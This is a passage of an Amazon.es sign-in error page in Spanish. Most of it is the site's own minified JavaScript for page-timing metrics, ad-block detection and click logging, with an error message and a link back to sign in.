                    largestContentfulPaint: "lcp",
                    speedIndex: "si",
                    atfSpeedIndex: "atfsi",
                    visuallyLoaded50: "vl50",
                    visuallyLoaded90: "vl90",
                    visuallyLoaded100: "vl100"
                },
                l = "perfNo perfYes browserQuiteFn browserQuiteUd browserQuiteLd browserQuiteMut mutObsNo mutObsYes mutObsActive startVL endVL".split(" ");
            b && e && f && d.keys && c && (b.once("$ditched.beforemitigation", function() {
                g = 1
            }), d.keys(h).forEach(function(k) {
                b.on("$timing:" + k, function(b) {
                    var a = h[k];
                    if (c.isl || g) {
                        var d = "csa:" + a;
                        e(a, d, void 0, b);
                        f("at", d)
                    } else e(a, void 0, void 0, b)
                })
            }), a.ue_csa_ss_tag || l.forEach(function(a) {
                b.on("$csmTag:" + a, function() {
                    c.tag && c.tag(a);
                    (c.isl || g) && f("at", "csa:" + a)
                }, {
                    buffered: 1
                })
            }))
        });
    </script>
    <script type='text/javascript'>
        (function() {
            function l(a) {
                for (var c = b.location.search.substring(1).split("&"), e = 0; e < c.length; e++) {
                    var d = c[e].split("=");
                    if (d[0] === a) return d[1]
                }
            }
            window.amzn = window.amzn || {};
            amzn.copilot = amzn.copilot || {};
            var b = window,
                f = document,
                g = b.P || b.AmazonUIPageJS,
                h = f.head || f.getElementsByTagName("head")[0],
                m = 0,
                n = 0;
            amzn.copilot.checkCoPilotSession = function() {
                f.cookie.match("cpidv") && ("undefined" !== typeof jQuery && k(jQuery), g && g.when && g.when("jQuery").execute(function(a) {
                    k(a)
                }), b.amznJQ && b.amznJQ.available && b.amznJQ.available("jQuery",
                    function() {
                        k(jQuery)
                    }), b.jQuery || g || b.amznJQ || q())
            };
            var q = function() {
                    m ? b.ue && "function" === typeof b.ue.count && b.ue.count("cpJQUnavailable", 1) : (m = 1, f.addEventListener ? f.addEventListener("DOMContentLoaded", amzn.copilot.checkCoPilotSession, !1) : f.attachEvent && f.attachEvent("onreadystatechange", function() {
                        "complete" === f.readyState && amzn.copilot.checkCoPilotSession()
                    }))
                },
                k = function(a) {
                    if (!n) {
                        n = 1;
                        amzn.copilot.jQuery = a;
                        a = l("debugJS");
                        var c = "https:" === b.location.protocol ? 1 : 0,
                            e = 1;
                        url = "/gp/copilot/handlers/copilot_strings_resources.html";
                        window.texas && texas.locations && (url = texas.locations.makeUrl(url));
                        g && g.AUI_BUILD_DATE && (e = 0);
                        amzn.copilot.jQuery.ajax && amzn.copilot.jQuery.ajax({
                            url: url,
                            dataType: "json",
                            data: {
                                isDebug: a,
                                isSecure: c,
                                includeAUIP: e
                            },
                            success: function(a) {
                                amzn.copilot.vip = a.serviceEndPoint;
                                amzn.copilot.enableMultipleTabSession = a.isFollowMe;
                                r(a)
                            },
                            error: function() {
                                b.ue.count("cpLoadResourceError", 1)
                            }
                        })
                    }
                },
                r = function(a) {
                    var c = amzn.copilot.jQuery,
                        e = function() {
                            amzn.copilot.setup(c.extend({
                                isContinuedSession: !0
                            }, a))
                        };
                    a.CSSUrls &&
                        c.each(a.CSSUrls[0], function(a, c) {
                            var b = f.createElement("link");
                            b.type = "text/css";
                            b.rel = "stylesheet";
                            b.href = c;
                            h.appendChild(b)
                        });
                    a.CSSTag && s(a.CSSTag);
                    if (a.JSUrls) {
                        var d = l("forceSynchronousJS"),
                            b = a.JSUrls[0];
                        c.each(b, function(a, c) {
                            a === b.length - 1 ? p(c, d, e) : p(c, d)
                        })
                    }
                    a.JSTag && (t(a.JSTag), P.when("CSCoPilotPresenterAsset").execute(function() {
                        e()
                    }))
                },
                t = function(a) {
                    var c = f.createElement("div");
                    c.innerHTML = a;
                    a = 0;
                    for (var b = c.children.length; a < b; a++) {
                        var d = f.createElement("script");
                        d.type = "text/javascript";
                        d.innerHTML = c.children[a].innerHTML;
                        h.appendChild(d)
                    }
                },
                s = function(a) {
                    var b = f.createElement("div");
                    b.innerHTML = a;
                    a = 0;
                    for (var e = b.children.length; a < e; a++) h.appendChild(b.children[a])
                },
                p = function(a, b, e) {
                    var d = f.createElement("script");
                    d.type = "text/javascript";
                    d.src = a;
                    d.async = b ? !1 : !0;
                    e && (d.onload = e);
                    h.appendChild(d)
                }
        })();

        amzn.copilot.checkCoPilotSession();
    </script>

    <script>
        window.ue && ue.count && ue.count('CSMLibrarySize', 18524)
    </script>

    <div id="wrapper">
        <div id="error-slot">








            <div id="ap_error_page_header" class="ap_error_page_header">
                <img src="https://m.media-amazon.com/images/G/30/x-locale/common/amazon-logo._CB485942491_.gif" />
            </div>





            <div id="ap_error_page_wrapper" class="ap_error_page_wrapper">
                <table cellpadding="4" border="0" align="center" width="800">
                    <tbody>
                        <tr>
                            <td style="padding: 10px">
                                <img src="https://m.media-amazon.com/images/G/30/associates/question-mark._CB485935157_.gif" />
                            </td>
                            <td>
                                <div id="ap_error_page_title" class="ap_error_page_title">
                                    <h1>Ha surgido un problema</h1>
                                </div>
                                <div id="ap_error_page_message" class="ap_error_page_message">
                                    Lo sentimos. Ha ocurrido un error al iniciar sesión. Por favor, vuelva a intentarlo.
                                    
                                    <div id="ap_error_return_home" class="ap_error_return_home">

                                        <img src="https://m.media-amazon.com/images/G/30/x-locale/common/orange-arrow._CB485935500_.gif" />
                                        Volver a la página de inicio de Amazon.es
					<br>
					<br>
					<a href="https://www.amazon.es/ap/signin?openid.pape.max_auth_age=0&openid.return_to=https%3A%2F%2Fwww.amazon.es%2Fyour-orders%2Forders%3Fref_%3Dnav_orders_first&openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.assoc_handle=amzn_retail_yourorders_es&openid.mode=checkid_setup&language=es_ES&openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0">Iniciar sesión.</a> 


                                    </div>
                                </div>



                            </td>
                        </tr>
                    </tbody>
                </table>
            </div>



        </div>
    </div>

    <div id='be' style="display:none;visibility:hidden;">
        <form name='ue_backdetect' action="get"><input type="hidden" name='ue_back' value='1' /></form>


        <script type="text/javascript">
            window.ue_ibe = (window.ue_ibe || 0) + 1;
            if (window.ue_ibe === 1) {
                (function(e, c) {
                    function h(b, a) {
                        f.push([b, a])
                    }

                    function g(b, a) {
                        if (b) {
                            var c = e.head || e.getElementsByTagName("head")[0] || e.documentElement,
                                d = e.createElement("script");
                            d.async = "async";
                            d.src = b;
                            d.setAttribute("crossorigin", "anonymous");
                            a && a.onerror && (d.onerror = a.onerror);
                            a && a.onload && (d.onload = a.onload);
                            c.insertBefore(d, c.firstChild)
                        }
                    }

                    function k() {
                        ue.uels = g;
                        for (var b = 0; b < f.length; b++) {
                            var a = f[b];
                            g(a[0], a[1])
                        }
                        ue.deffered = 1
                    }
                    var f = [];
                    c.ue && (ue.uels = h, c.ue.attach && c.ue.attach("load", k))
                })(document, window);


                if (window.ue && window.ue.uels) {
                    ue.uels("https://images-eu.ssl-images-amazon.com/images/I/31bJewCvY-L.js");
                }
                var ue_mbl = ue_csm.ue.exec(function(h, a) {
                    function s(c) {
                        b = c || {};
                        a.AMZNPerformance = b;
                        b.transition = b.transition || {};
                        b.timing = b.timing || {};
                        if (a.csa) {
                            var d;
                            b.timing.transitionStart && (d = b.timing.transitionStart);
                            b.timing.processStart && (d = b.timing.processStart);
                            d && (csa("PageTiming")("mark", "nativeTransitionStart", d), csa("PageTiming")("mark", "transitionStart", d))
                        }
                        h.ue.exec(t, "csm-android-check")() && b.tags instanceof Array && (c = -1 != b.tags.indexOf("usesAppStartTime") || b.transition.type ? !b.transition.type && -1 <
                            b.tags.indexOf("usesAppStartTime") ? "warm-start" : void 0 : "view-transition", c && (b.transition.type = c));
                        n = null;
                        "reload" === e._nt && h.ue_orct || "intrapage-transition" === e._nt ? u(b) : "undefined" === typeof e._nt && f && f.timing && f.timing.navigationStart && a.history && "function" === typeof a.History && "object" === typeof a.history && a.history.length && 1 != a.history.length && (b.timing.transitionStart = f.timing.navigationStart);
                        p && e.ssw(q, "" + (b.timing.transitionStart || n || ""));
                        c = b.transition;
                        d = e._nt ? e._nt : void 0;
                        c.subType = d;
                        a.ue &&
                            a.ue.tag && a.ue.tag("has-AMZNPerformance");
                        e.isl && a.uex && a.uex("at", "csm-timing");
                        v()
                    }

                    function w(c) {
                        a.ue && a.ue.count && a.ue.count("csm-cordova-plugin-failed", 1)
                    }

                    function t() {
                        return a.cordova && a.cordova.platformId && "android" == a.cordova.platformId
                    }

                    function u() {
                        if (p) {
                            var c = e.ssw(q),
                                a = function() {},
                                x = e.count || a,
                                a = e.tag || a,
                                k = b.timing.transitionStart,
                                g = c && !c.e && c.val;
                            n = c = g ? +c.val : null;
                            k && g && k > c ? (x("csm.jumpStart.mtsDiff", k - c || 0), a("csm-rld-mts-gt")) : k && g ? a("csm-rld-mts-leq") : g ? k || a("csm-rld-mts-no-new") : a("csm-rld-mts-no-old")
                        }
                        f &&
                            f.timing && f.timing.navigationStart ? b.timing.transitionStart = f.timing.navigationStart : delete b.timing.transitionStart
                    }

                    function v() {
                        try {
                            a.P.register("AMZNPerformance", function() {
                                return b
                            })
                        } catch (c) {}
                    }

                    function r() {
                        if (!b) return "";
                        ue_mbl.cnt = null;
                        var c = b.timing,
                            d = b.transition,
                            d = ["mts", l(c.transitionStart), "mps", l(c.processStart), "mtt", d.type, "mtst", d.subType, "mtlt", d.launchType];
                        a.ue && a.ue.tag && (c.fr_ovr && a.ue.tag("fr_ovr"), c.fcp_ovr && a.ue.tag("fcp_ovr"), d.push("fr_ovr", l(c.fr_ovr), "fcp_ovr", l(c.fcp_ovr)));
                        for (var c = "", e = 0; e < d.length; e += 2) {
                            var f = d[e],
                                g = d[e + 1];
                            "undefined" !== typeof g && (c += "&" + f + "=" + g)
                        }
                        return c
                    }

                    function l(a) {
                        if ("undefined" !== typeof a && "undefined" !== typeof m) return a - m
                    }

                    function y(a, d) {
                        b && (m = d, b.timing.transitionStart = a, b.transition.type = "view-transition", b.transition.subType = "ajax-transition", b.transition.launchType = "normal", ue_mbl.cnt = r)
                    }
                    var e = h.ue || {},
                        m = h.ue_t0,
                        q = "csm-last-mts",
                        p = 1 === h.ue_sswmts,
                        n, f = a.performance,
                        b;
                    if (a.P && a.P.when && a.P.register) return 1 === a.ue_fnt && (m = a.aPageStart ||
                        h.ue_t0), a.P.when("CSMPlugin").execute(function(a) {
                        a.buildAMZNPerformance && a.buildAMZNPerformance({
                            successCallback: s,
                            failCallback: w
                        })
                    }), {
                        cnt: r,
                        ajax: y
                    }
                }, "mobile-timing")(ue_csm, ue_csm.window);

                (function(d) {
                    d._uess = function() {
                        var a = "";
                        screen && screen.width && screen.height && (a += "&sw=" + screen.width + "&sh=" + screen.height);
                        var b = function(a) {
                                var b = document.documentElement["client" + a];
                                return "CSS1Compat" === document.compatMode && b || document.body["client" + a] || b
                            },
                            c = b("Width"),
                            b = b("Height");
                        c && b && (a += "&vw=" + c + "&vh=" + b);
                        return a
                    }
                })(ue_csm);

                (function(a) {
                    function d(a) {
                        c && c("log", a)
                    }
                    var b = document.ue_backdetect,
                        c = a.csa && a.csa("Errors", {
                            producerId: "csa",
                            logOptions: {
                                ent: "all"
                            }
                        });
                    a.ue_err.buffer && c && (a.ue_err.buffer.forEach(d), a.ue_err.buffer.push = d);
                    b && b.ue_back && a.ue && (a.ue.bfini = b.ue_back.value);
                    a.uet && a.uet("be");
                    a.onLdEnd && (window.addEventListener ? window.addEventListener("load", a.onLdEnd, !1) : window.attachEvent && window.attachEvent("onload", a.onLdEnd));
                    a.ueh && a.ueh(0, window, "load", a.onLd, 1);
                    a.ue && a.ue.tag && (a.ue_furl ? (b = a.ue_furl.replace(/\./g,
                        "-"), a.ue.tag(b)) : a.ue.tag("nofls"))
                })(ue_csm);

                (function(g, h) {
                    function d(a, d) {
                        var b = {};
                        if (!e || !f) try {
                            var c = h.sessionStorage;
                            c ? a && ("undefined" !== typeof d ? c.setItem(a, d) : b.val = c.getItem(a)) : f = 1
                        } catch (g) {
                            e = 1
                        }
                        e && (b.e = 1);
                        return b
                    }
                    var b = g.ue || {},
                        a = "",
                        f, e, c, a = d("csmtid");
                    f ? a = "NA" : a.e ? a = "ET" : (a = a.val, a || (a = b.oid || "NI", d("csmtid", a)), c = d(b.oid), c.e || (c.val = c.val || 0, d(b.oid, c.val + 1)), b.ssw = d);
                    b.tabid = a
                })(ue_csm, ue_csm.window);

                ue_csm.ue.exec(function(e, f) {
                    var a = e.ue || {},
                        b = a._wlo,
                        d;
                    if (a.ssw) {
                        d = a.ssw("CSM_previousURL").val;
                        var c = f.location,
                            b = b ? b : c && c.href ? c.href.split("#")[0] : void 0;
                        c = (b || "") === a.ssw("CSM_previousURL").val;
                        !c && b && a.ssw("CSM_previousURL", b);
                        d = c ? "reload" : d ? "intrapage-transition" : "first-view"
                    } else d = "unknown";
                    a._nt = d
                }, "NavTypeModule")(ue_csm, window);
                ue_csm.ue.exec(function(c, a) {
                    function g(a) {
                        a.run(function(e) {
                            d.tag("csm-feature-" + a.name + ":" + e);
                            d.isl && c.uex("at")
                        })
                    }
                    if (a.addEventListener)
                        for (var d = c.ue || {}, f = [{
                                name: "touch-enabled",
                                run: function(b) {
                                    var e = function() {
                                            a.removeEventListener("touchstart", c, !0);
                                            a.removeEventListener("mousemove", d, !0)
                                        },
                                        c = function() {
                                            b("true");
                                            e()
                                        },
                                        d = function() {
                                            b("false");
                                            e()
                                        };
                                    a.addEventListener("touchstart", c, !0);
                                    a.addEventListener("mousemove", d, !0)
                                }
                            }], b = 0; b < f.length; b++) g(f[b])
                }, "csm-features")(ue_csm, window);


                (function(a, e) {
                    function d(a) {
                        b && b("recordCounter", a.c, a.v)
                    }
                    var c = e.images,
                        b = a.csa && a.csa("Metrics", {
                            producerId: "csa"
                        });
                    c && c.length && a.ue.count("totalImages", c.length);
                    a.ue.cv.buffer && b && (a.ue.cv.buffer.forEach(d), a.ue.cv.buffer.push = d)
                })(ue_csm, document);
                (function(b) {
                    function c() {
                        var d = [];
                        a.log && a.log.isStub && a.log.replay(function(a) {
                            e(d, a)
                        });
                        a.clog && a.clog.isStub && a.clog.replay(function(a) {
                            e(d, a)
                        });
                        d.length && (a._flhs += 1, n(d), p(d))
                    }

                    function g() {
                        a.log && a.log.isStub && (a.onflush && a.onflush.replay && a.onflush.replay(function(a) {
                            a[0]()
                        }), a.onunload && a.onunload.replay && a.onunload.replay(function(a) {
                            a[0]()
                        }), c())
                    }

                    function e(d, b) {
                        var c = b[1],
                            f = b[0],
                            e = {};
                        a._lpn[c] = (a._lpn[c] || 0) + 1;
                        e[c] = f;
                        d.push(e)
                    }

                    function n(b) {
                        q && (a._lpn.csm = (a._lpn.csm || 0) + 1, b.push({
                            csm: {
                                k: "chk",
                                f: a._flhs,
                                l: a._lpn,
                                s: "inln"
                            }
                        }))
                    }

                    function p(a) {
                        if (h) a = k(a), b.navigator.sendBeacon(l, a);
                        else {
                            a = k(a);
                            var c = new b[f];
                            c.open("POST", l, !0);
                            c.setRequestHeader && c.setRequestHeader("Content-type", "text/plain");
                            c.send(a)
                        }
                    }

                    function k(a) {
                        return JSON.stringify({
                            rid: b.ue_id,
                            sid: b.ue_sid,
                            mid: b.ue_mid,
                            mkt: b.ue_mkt,
                            sn: b.ue_sn,
                            reqs: a
                        })
                    }
                    var f = "XMLHttpRequest",
                        q = 1 === b.ue_ddq,
                        a = b.ue,
                        r = b[f] && "withCredentials" in new b[f],
                        h = b.navigator && b.navigator.sendBeacon,
                        l = "//" + b.ue_furl + "/1/batch/1/OE/",
                        m = b.ue_fci_ft || 5E3;
                    a && (r || h) &&
                        (a._flhs = a._flhs || 0, a._lpn = a._lpn || {}, a.attach && (a.attach("beforeunload", a.exec(g, "fcli-bfu")), a.attach("pagehide", a.exec(g, "fcli-ph"))), m && b.setTimeout(a.exec(c, "fcli-t"), m), a._ffci = a.exec(c))
                })(window);


                (function(k, c) {
                    function l(a, b) {
                        return a.filter(function(a) {
                            return a.initiatorType == b
                        })
                    }

                    function f(a, c) {
                        if (b.t[a]) {
                            var g = b.t[a] - b._t0,
                                e = c.filter(function(a) {
                                    return 0 !== a.responseEnd && m(a) < g
                                }),
                                f = l(e, "script"),
                                h = l(e, "link"),
                                k = l(e, "img"),
                                n = e.map(function(a) {
                                    return a.name.split("/")[2]
                                }).filter(function(a, b, c) {
                                    return a && c.lastIndexOf(a) == b
                                }),
                                q = e.filter(function(a) {
                                    return a.duration < p
                                }),
                                s = g - Math.max.apply(null, e.map(m)) < r | 0;
                            "af" == a && (b._afjs = f.length);
                            return a + ":" + [e[d], f[d], h[d], k[d], n[d], q[d], s].join("-")
                        }
                    }

                    function m(a) {
                        return a.responseEnd - (b._t0 - c.timing.navigationStart)
                    }

                    function n() {
                        var a = c[h]("resource"),
                            d = f("cf", a),
                            g = f("af", a),
                            a = f("ld", a);
                        delete b._rt;
                        b._ld = b.t.ld - b._t0;
                        b._art && b._art();
                        return [d, g, a].join("_")
                    }
                    var p = 20,
                        r = 50,
                        d = "length",
                        b = k.ue,
                        h = "getEntriesByType";
                    b._rre = m;
                    b._rt = c && c.timing && c[h] && n
                })(ue_csm, window.performance);


                (function(c, d) {
                    var b = c.ue,
                        a = d.navigator;
                    b && b.tag && a && (a = a.connection || a.mozConnection || a.webkitConnection) && a.type && b.tag("netInfo:" + a.type)
                })(ue_csm, window);


                (function(c, d) {
                    function h(a, b) {
                        for (var c = [], d = 0; d < a.length; d++) {
                            var e = a[d],
                                f = b.encode(e);
                            if (e[k]) {
                                var g = b.metaSep,
                                    e = e[k],
                                    l = b.metaPairSep,
                                    h = [],
                                    m = void 0;
                                for (m in e) e.hasOwnProperty(m) && h.push(m + "=" + e[m]);
                                e = h.join(l);
                                f += g + e
                            }
                            c.push(f)
                        }
                        return c.join(b.resourceSep)
                    }

                    function s(a) {
                        var b = a[k] = a[k] || {};
                        b[t] || (b[t] = c.ue_mid);
                        b[u] || (b[u] = c.ue_sid);
                        b[f] || (b[f] = c.ue_id);
                        b.csm = 1;
                        a = "//" + c.ue_furl + "/1/" + a[v] + "/1/OP/" + a[w] + "/" + a[x] + "/" + h([a], y);
                        if (n) try {
                            n.call(d[p], a)
                        } catch (g) {
                            c.ue.sbf = 1, (new Image).src = a
                        } else(new Image).src =
                            a
                    }

                    function q() {
                        g && g.isStub && g.replay(function(a, b, c) {
                            a = a[0];
                            b = a[k] = a[k] || {};
                            b[f] = b[f] || c;
                            s(a)
                        });
                        l.impression = s;
                        g = null
                    }
                    if (!(1 < c.ueinit)) {
                        var k = "metadata",
                            x = "impressionType",
                            v = "foresterChannel",
                            w = "programGroup",
                            t = "marketplaceId",
                            u = "session",
                            f = "requestId",
                            p = "navigator",
                            l = c.ue || {},
                            n = d[p] && d[p].sendBeacon,
                            r = function(a, b, c, d) {
                                return {
                                    encode: d,
                                    resourceSep: a,
                                    metaSep: b,
                                    metaPairSep: c
                                }
                            },
                            y = r("", "?", "&", function(a) {
                                return h(a.impressionData, z)
                            }),
                            z = r("/", ":", ",", function(a) {
                                return a.featureName + ":" + h(a.resources,
                                    A)
                            }),
                            A = r(",", "@", "|", function(a) {
                                return a.id
                            }),
                            g = l.impression;
                        n ? q() : (l.attach("load", q), l.attach("beforeunload", q));
                        try {
                            d.P && d.P.register && d.P.register("impression-client", function() {})
                        } catch (B) {
                            c.ueLogError(B, {
                                logLevel: "WARN"
                            })
                        }
                    }
                })(ue_csm, window);



                var ue_pty = "AuthenticationPortal";

                var ue_spty = "Error404Page";



                var ue_adb = 4;
                var ue_adb_rtla = 1;
                ue_csm.ue.exec(function(y, a) {
                    function t() {
                        if (d && f) {
                            var a;
                            a: {
                                try {
                                    a = d.getItem(g);
                                    break a
                                } catch (c) {}
                                a = void 0
                            }
                            if (a) return b = a, !0
                        }
                        return !1
                    }

                    function u() {
                        if (a.fetch) fetch(m).then(function(a) {
                            if (!a.ok) throw Error(a.statusText);
                            return a.text ? a.text() : null
                        }).then(function(b) {
                            b ? (-1 < b.indexOf("window.ue_adb_chk = 1") && (a.ue_adb_chk = 1), n()) : h()
                        })["catch"](h);
                        else e.uels(m, {
                            onerror: h,
                            onload: n
                        })
                    }

                    function h() {
                        b = k;
                        l();
                        if (f) try {
                            d.setItem(g, b)
                        } catch (a) {}
                    }

                    function n() {
                        b = 1 === a.ue_adb_chk ? p : k;
                        l();
                        if (f) try {
                            d.setItem(g,
                                b)
                        } catch (c) {}
                    }

                    function q() {
                        a.ue_adb_rtla && c && 0 < c.ec && !1 === r && (c.elh = null, ueLogError({
                            m: "Hit Info",
                            fromOnError: 1
                        }, {
                            logLevel: "INFO",
                            adb: b
                        }), r = !0)
                    }

                    function l() {
                        e.tag(b);
                        e.isl && a.uex && uex("at", b);
                        s && s.updateCsmHit("adb", b);
                        c && 0 < c.ec ? q() : a.ue_adb_rtla && c && (c.elh = q)
                    }

                    function v() {
                        return b
                    }
                    if (a.ue_adb) {
                        a.ue_fadb = a.ue_fadb || 10;
                        var e = a.ue,
                            k = "adblk_yes",
                            p = "adblk_no",
                            m = "https://m.media-amazon.com/images/G/01/csm/showads.v2.js?category=ad&adstype=-ad-column-&ad_size=-housead-",
                            b = "adblk_unk",
                            d;
                        a: {
                            try {
                                d = a.localStorage;
                                break a
                            } catch (z) {}
                            d = void 0
                        }
                        var g = "csm:adb",
                            c = a.ue_err,
                            s = e.cookie,
                            f = void 0 !== a.localStorage,
                            w = Math.random() > 1 - 1 / a.ue_fadb,
                            r = !1,
                            x = t();
                        w || !x ? u() : l();
                        a.ue_isAdb = v;
                        a.ue_isAdb.unk = "adblk_unk";
                        a.ue_isAdb.no = p;
                        a.ue_isAdb.yes = k
                    }
                }, "adb")(document, window);




                (function(c, l, m) {
                    function h(a) {
                        if (a) try {
                            if (a.id) return "//*[@id='" + a.id + "']";
                            var b, d = 1,
                                e;
                            for (e = a.previousSibling; e; e = e.previousSibling) e.nodeName === a.nodeName && (d += 1);
                            b = d;
                            var c = a.nodeName;
                            1 !== b && (c += "[" + b + "]");
                            a.parentNode && (c = h(a.parentNode) + "/" + c);
                            return c
                        } catch (f) {
                            return "DETACHED"
                        }
                    }

                    function f(a) {
                        if (a && a.getAttribute) return a.getAttribute(k) ? a.getAttribute(k) : f(a.parentElement)
                    }
                    var k = "data-cel-widget",
                        g = !1,
                        d = [];
                    (c.ue || {}).isBF = function() {
                        try {
                            var a = JSON.parse(localStorage["csm-bf"] || "[]"),
                                b = 0 <= a.indexOf(c.ue_id);
                            a.unshift(c.ue_id);
                            a = a.slice(0, 20);
                            localStorage["csm-bf"] = JSON.stringify(a);
                            return b
                        } catch (d) {
                            return !1
                        }
                    }();
                    c.ue_utils = {
                        getXPath: h,
                        getFirstAscendingWidget: function(a, b) {
                            c.ue_cel && c.ue_fem ? !0 === g ? b(f(a)) : d.push({
                                element: a,
                                callback: b
                            }) : b()
                        },
                        notifyWidgetsLabeled: function() {
                            if (!1 === g) {
                                g = !0;
                                for (var a = f, b = 0; b < d.length; b++)
                                    if (d[b].hasOwnProperty("callback") && d[b].hasOwnProperty("element")) {
                                        var c = d[b].callback,
                                            e = d[b].element;
                                        "function" === typeof c && "function" === typeof a && c(a(e))
                                    } d = null
                            }
                        },
                        extractStringValue: function(a) {
                            if ("string" ===
                                typeof a) return a
                        }
                    }
                })(ue_csm, window, document);





                ue_csm.ue_unrt = 1500;
                (function(d, b, t) {
                    function u(a, g) {
                        var c = a.srcElement || a.target || {},
                            b = {
                                k: v,
                                t: g.t,
                                dt: g.dt,
                                x: a.pageX,
                                y: a.pageY,
                                p: e.getXPath(c),
                                n: c.nodeName
                            };
                        a.button && (b.b = a.button);
                        c.type && (b.ty = c.type);
                        c.href && (b.r = e.extractStringValue(c.href));
                        c.id && (b.i = c.id);
                        c.className && c.className.split && (b.c = c.className.split(/\s+/));
                        h += 1;
                        e.getFirstAscendingWidget(c, function(a) {
                            b.wd = a;
                            d.ue.log(b, r)
                        })
                    }

                    function w(a) {
                        if (!x(a.srcElement || a.target)) {
                            m += 1;
                            n = !0;
                            var g = f = d.ue.d(),
                                c;
                            p && "function" === typeof p.now && a.timeStamp && (c = p.now() -
                                a.timeStamp, c = parseFloat(c.toFixed(2)));
                            s = b.setTimeout(function() {
                                u(a, {
                                    t: g,
                                    dt: c
                                })
                            }, y)
                        }
                    }

                    function z(a) {
                        if (a) {
                            var b = a.filter(A);
                            a.length !== b.length && (q = !0, k = d.ue.d(), n && q && (k && f && d.ue.log({
                                k: B,
                                t: f,
                                m: Math.abs(k - f)
                            }, r), l(), q = !1, k = 0))
                        }
                    }

                    function A(a) {
                        if (!a) return !1;
                        var b = "characterData" === a.type ? a.target.parentElement : a.target;
                        if (!b || !b.hasAttributes || !b.attributes) return !1;
                        var c = {
                                "class": "gw-clock gw-clock-aria s-item-container-height-auto feed-carousel using-mouse kfs-inner-container".split(" "),
                                id: ["dealClock",
                                    "deal_expiry_timer", "timer"
                                ],
                                role: ["timer"]
                            },
                            d = !1;
                        Object.keys(c).forEach(function(a) {
                            var e = b.attributes[a] ? b.attributes[a].value : "";
                            (c[a] || "").forEach(function(a) {
                                -1 !== e.indexOf(a) && (d = !0)
                            })
                        });
                        return d
                    }

                    function x(a) {
                        if (!a) return !1;
                        var b = (e.extractStringValue(a.nodeName) || "").toLowerCase(),
                            c = (e.extractStringValue(a.type) || "").toLowerCase(),
                            d = (e.extractStringValue(a.href) || "").toLowerCase();
                        a = (e.extractStringValue(a.id) || "").toLowerCase();
                        var f = "checkbox color date datetime-local email file month number password radio range reset search tel text time url week".split(" ");
                        if (-1 !== ["select", "textarea", "html"].indexOf(b) || "input" === b && -1 !== f.indexOf(c) || "a" === b && -1 !== d.indexOf("http") || -1 !== ["sitbreaderrightpageturner", "sitbreaderleftpageturner", "sitbreaderpagecontainer"].indexOf(a)) return !0
                    }

                    function l() {
                        n = !1;
                        f = 0;
                        b.clearTimeout(s)
                    }

                    function C() {
                        b.ue.onunload(function() {
                            ue.count("armored-cxguardrails.unresponsive-clicks.violations", h);
                            ue.count("armored-cxguardrails.unresponsive-clicks.violationRate", h / m * 100 || 0)
                        })
                    }
                    if (b.MutationObserver && b.addEventListener && Object.keys &&
                        d && d.ue && d.ue.log && d.ue_unrt && d.ue_utils) {
                        var y = d.ue_unrt,
                            r = "cel",
                            v = "unr_mcm",
                            B = "res_mcm",
                            p = b.performance,
                            e = d.ue_utils,
                            n = !1,
                            f = 0,
                            s = 0,
                            q = !1,
                            k = 0,
                            h = 0,
                            m = 0;
                        b.addEventListener && (b.addEventListener("mousedown", w, !0), b.addEventListener("beforeunload", l, !0), b.addEventListener("visibilitychange", l, !0), b.addEventListener("pagehide", l, !0));
                        b.ue && b.ue.event && b.ue.onSushiUnload && b.ue.onunload && C();
                        (new MutationObserver(z)).observe(t, {
                            childList: !0,
                            attributes: !0,
                            characterData: !0,
                            subtree: !0
                        })
                    }
                })(ue_csm, window, document);


                ue_csm.ue.exec(function(g, e) {
                    if (e.ue_err) {
                        var f = "";
                        e.ue_err.errorHandlers || (e.ue_err.errorHandlers = []);
                        e.ue_err.errorHandlers.push({
                            name: "fctx",
                            handler: function(a) {
                                if (!a.logLevel || "FATAL" === a.logLevel)
                                    if (f = g.getElementsByTagName("html")[0].innerHTML) {
                                        var b = f.indexOf("var ue_t0=ue_t0||+new Date();");
                                        if (-1 !== b) {
                                            var b = f.substr(0, b).split(String.fromCharCode(10)),
                                                d = Math.max(b.length - 10 - 1, 0),
                                                b = b.slice(d, b.length - 1);
                                            a.fcsmln = d + b.length + 1;
                                            a.cinfo = a.cinfo || {};
                                            for (var c = 0; c < b.length; c++) a.cinfo[d + c + 1 + ""] =
                                                b[c]
                                        }
                                        b = f.split(String.fromCharCode(10));
                                        a.cinfo = a.cinfo || {};
                                        if (!(a.f || void 0 === a.l || a.l in a.cinfo))
                                            for (c = +a.l - 1, d = Math.max(c - 5, 0), c = Math.min(c + 5, b.length - 1); d <= c; d++) a.cinfo[d + 1 + ""] = b[d]
                                    }
                            }
                        })
                    }
                }, "fatals-context")(document, window);


                (function(m, b) {
                    function c(k) {
                        function f(a) {
                            a && "string" === typeof a && (a = (a = a.match(/^(?:https?:)?\/\/(.*?)(\/|$)/i)) && 1 < a.length ? a[1] : null, a && a && ("number" === typeof e[a] ? e[a]++ : e[a] = 1))
                        }

                        function d(a) {
                            var e = 10,
                                d = +new Date;
                            a && a.timeRemaining ? e = a.timeRemaining() : a = {
                                timeRemaining: function() {
                                    return Math.max(0, e - (+new Date - d))
                                }
                            };
                            for (var c = b.performance.getEntries(), k = e; g < c.length && k > n;) c[g].name && f(c[g].name), g++, k = a.timeRemaining();
                            g >= c.length ? h(!0) : l()
                        }

                        function h(a) {
                            if (!a) {
                                a = m.scripts;
                                var c;
                                if (a)
                                    for (var d =
                                            0; d < a.length; d++)(c = a[d].getAttribute("src")) && "undefined" !== c && f(c)
                            }
                            0 < Object.keys(e).length && (p && ue_csm.ue && ue_csm.ue.event && (a = {
                                domains: e,
                                pageType: b.ue_pty || null,
                                subPageType: b.ue_spty || null,
                                pageTypeId: b.ue_pti || null
                            }, ue_csm.ue_sjslob && (a.lob = ue_csm.ue_lob || "0"), ue_csm.ue.event(a, "csm", "csm.CrossOriginDomains.2")), b.ue_ext = e)
                        }

                        function l() {
                            !0 === k ? d() : b.requestIdleCallback ? b.requestIdleCallback(d) : b.requestAnimationFrame ? b.requestAnimationFrame(d) : b.setTimeout(d, 100)
                        }

                        function c() {
                            if (b.performance &&
                                b.performance.getEntries) {
                                var a = b.performance.getEntries();
                                !a || 0 >= a.length ? h(!1) : l()
                            } else h(!1)
                        }
                        var e = b.ue_ext || {};
                        b.ue_ext || c();
                        return e
                    }

                    function q() {
